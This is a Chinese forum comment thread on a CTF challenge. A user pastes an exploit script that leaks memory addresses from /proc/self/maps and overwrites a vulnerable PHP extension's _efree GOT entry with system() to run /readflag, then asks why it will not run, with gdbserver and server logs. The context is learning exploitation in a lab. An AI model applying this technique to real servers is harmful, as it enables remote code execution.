0x指纹 感谢分享，能上传下附件就更好了

师傅，我也是用你的exp来打，但是为什么一直没有响应，好像就没有运行exp.php

$map_file = "/proc/self/map";
$system_off = 0x44AF0;
$libc_base = 0;
$vuln_so_base = 0;
$efree_got = 0x4060;
 
function get_so_base($buffer){
    global $libc_base;
    global $vuln_so_base;
    $libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.28\.so/";
    $vuln_so_line_regex =
        "/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/";
    if (preg_match_all($libc_line_regex, $buffer, $matches))
        $libc_base = hexdec($matches[1][0]);
    else
        echo "Failed to get libc base";
    if (preg_match_all($vuln_so_line_regex, $buffer, $matches))
        $vuln_so_base = hexdec($matches[1][0]);
    else
        echo "Failed to get vuln.so base";
}
 
ob_start();
include "/proc/self/maps";
$buffer = ob_get_contents();
ob_end_flush();
get_so_base($buffer);
$efree_got += $vuln_so_base;
 
echo "libc base address: " . dechex($libc_base) . "\n<br>";
echo "vuln.so base address: " . dechex($vuln_so_base) . "\n<br>";
echo "_efree.got: " . dechex($efree_got) . "\n<br>";
construct(0x10);
allocate(0,0x30);
allocate(1,0x30);
clear();
overwrite(1,p64($efree_got));

construct(0x10);
 
allocate(0,0x30);
allocate(1,0x30);
 
 
overwrite(0,"/readflag>/var/www/html/flag\x00");
 
overwrite(1,p64($libc_base + $system_off));
clear();

就是这个，不管是直接访问exp.php还是先挂载到端口上在访问端口，都是返回这个东西

$map_file = "/proc/self/map"; $system_off = 0x44AF0; $libc_base = 0; $vuln_so_base = 0; $efree_got = 0x4060; function get_so_base($buffer){ global $libc_base; global $vuln_so_base; $libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.28\.so/"; $vuln_so_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/"; if (preg_match_all($libc_line_regex, $buffer, $matches)) $libc_base = hexdec($matches[1][0]); else echo "Failed to get libc base"; if (preg_match_all($vuln_so_line_regex, $buffer, $matches)) $vuln_so_base = hexdec($matches[1][0]); else echo "Failed to get vuln.so base"; } ob_start(); include "/proc/self/maps"; $buffer = ob_get_contents(); ob_end_flush(); get_so_base($buffer); $efree_got += $vuln_so_base; echo "libc base address: " . dechex($libc_base) . "\n
"; echo "vuln.so base address: " . dechex($vuln_so_base) . "\n
"; echo "_efree.got: " . dechex($efree_got) . "\n
"; construct(0x10); allocate(0,0x30); allocate(1,0x30); clear(); overwrite(1,p64($efree_got)); construct(0x10); allocate(0,0x30); allocate(1,0x30); overwrite(0,"/readflag>/var/www/html/flag\x00"); overwrite(1,p64($libc_base + $system_off)); clear();

而且还有一个问题就是我的gdbserver起的服务，会一直返回一个错误，就是这个Bad address，不知道会不会有影响，因为上面的php运行不了，所以这个调试根本动不了

root@276cf7e00390:/var/www/html# ./gdbserver :9191 php -S 0:8080 exp.php 
gdbserver: Error disabling address space randomization: Operation not permitted
Process php created; pid = 118
Listening on port 9191
Remote debugging from host 172.17.0.1
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
Warning: ptrace(regsets_store_inferior_registers): Bad address
[Tue Aug 26 12:57:23 2025] PHP 8.1.20 Development Server (http://0:8080) started

访问到端口就是只返回这个

[Tue Aug 26 12:58:59 2025] 172.17.0.1:59314 Accepted
[Tue Aug 26 12:59:01 2025] 172.17.0.1:59314 Closing

GUANZHI_ 解决了，没加上这个，自己太不仔细了[em_055]